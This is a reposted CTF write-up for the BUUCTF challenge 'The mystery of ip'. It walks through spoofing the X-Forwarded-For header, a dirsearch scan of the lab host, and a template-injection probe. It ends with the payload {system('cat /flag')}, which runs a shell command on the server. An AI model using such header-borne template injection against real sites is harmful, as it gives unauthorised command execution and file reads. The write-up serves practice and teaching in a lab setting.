当前位置:网站首页>BUUCTF WEB [BJDCTF2020]The mystery of ip
BUUCTF WEB [BJDCTF2020]The mystery of ip
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]The mystery of ip
-
stay hint.php Find a comment in
<!-- Do you know why i know your ip? --> -
stay flag.php See yourself in ip, Associated with the X-Forwarded-For. Use Hackbar Add one HTTP head
X-Forwarded-For: 127.0.0.1Echo as
Your IP is : 127.0.0.1It shows that we have obtained controllable variables
-
Attempt to inject command failed , There's no idea here , Try dirsearch See if you can get any information
# Dirsearch started Fri Apr 22 02:06:43 2022 as: dirsearch.py -u http://node4.buuoj.cn:28825/ 200 6KB http://node4.buuoj.cn:28825/.DS_Store 301 169B http://node4.buuoj.cn:28825/css -> REDIRECTS TO: http://node4.buuoj.cn/css/ 200 2KB http://node4.buuoj.cn:28825/flag.php 200 938B http://node4.buuoj.cn:28825/header.php 301 169B http://node4.buuoj.cn:28825/img -> REDIRECTS TO: http://node4.buuoj.cn/img/ 301 169B http://node4.buuoj.cn:28825/libs -> REDIRECTS TO: http://node4.buuoj.cn/libs/ 301 169B http://node4.buuoj.cn:28825/templates_c -> REDIRECTS TO: http://node4.buuoj.cn/templates_c/ 403 555B http://node4.buuoj.cn:28825/templates_c/We found one called
/template_c/Folder , Template injection is suspected -
take X-Forwarded-For Change it to
X-Forwarded-For: {6*6}Echo as
Your IP is : 36 -
Attempt to read directly flag file
X-Forwarded-For: {system('cat /flag')}The echo
Your IP is : flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b} flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159550.html
边栏推荐
猜你喜欢

智能多线弹性云增加独立的IP地址,如何实现多线功能?

编程辅助工具推荐:图片工具snipaste

没有空闲服务器?导入 OVF 镜像快速体验 SmartX 超融合社区版

Basic software testing Day2 - Case Execution

I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings

Idea code formatting plug-in save actions

Qt进程间通信

Introduction to metalama 4 Use fabric to manipulate items or namespaces

c# 设置logo图标和快捷方式的图标

Introduction to metalama 4 Use fabric to manipulate items or namespaces
随机推荐
画结果图推荐网址
SSL证书退款说明
Qt绘制图像
Web17——EL与JSTL的使用
Here comes the detailed picture and text installation tutorial of H5 game
第二十五课 类的静态成员变量
IDEA设置版权信息
5-minute NLP: text to text transfer transformer (T5) unified text to text task model
传统企业如何应对数字化转型?这些书给你答案
Windows2008系统如何切换PHP版本
[redis series] redis learning 13. Redis often asks simple interview questions
BUUCTF WEB [BJDCTF2020]The mystery of ip
IDEA 中 .properties文件的中文显示乱码问题的解决办法
uni-app 原生APP-云打包集成极光推送(JG-JPUSH)详细教程
软件测试对于减少程序BUG有多大帮助?
Qt双缓冲绘图
Zero trust in network information security
[unity note] basic lighting in l4unity
为什么hash%length==hash&(length-1)的前提是 length 是 2 的 n 次方
宝塔面板命令行帮助教程(包含重置密码)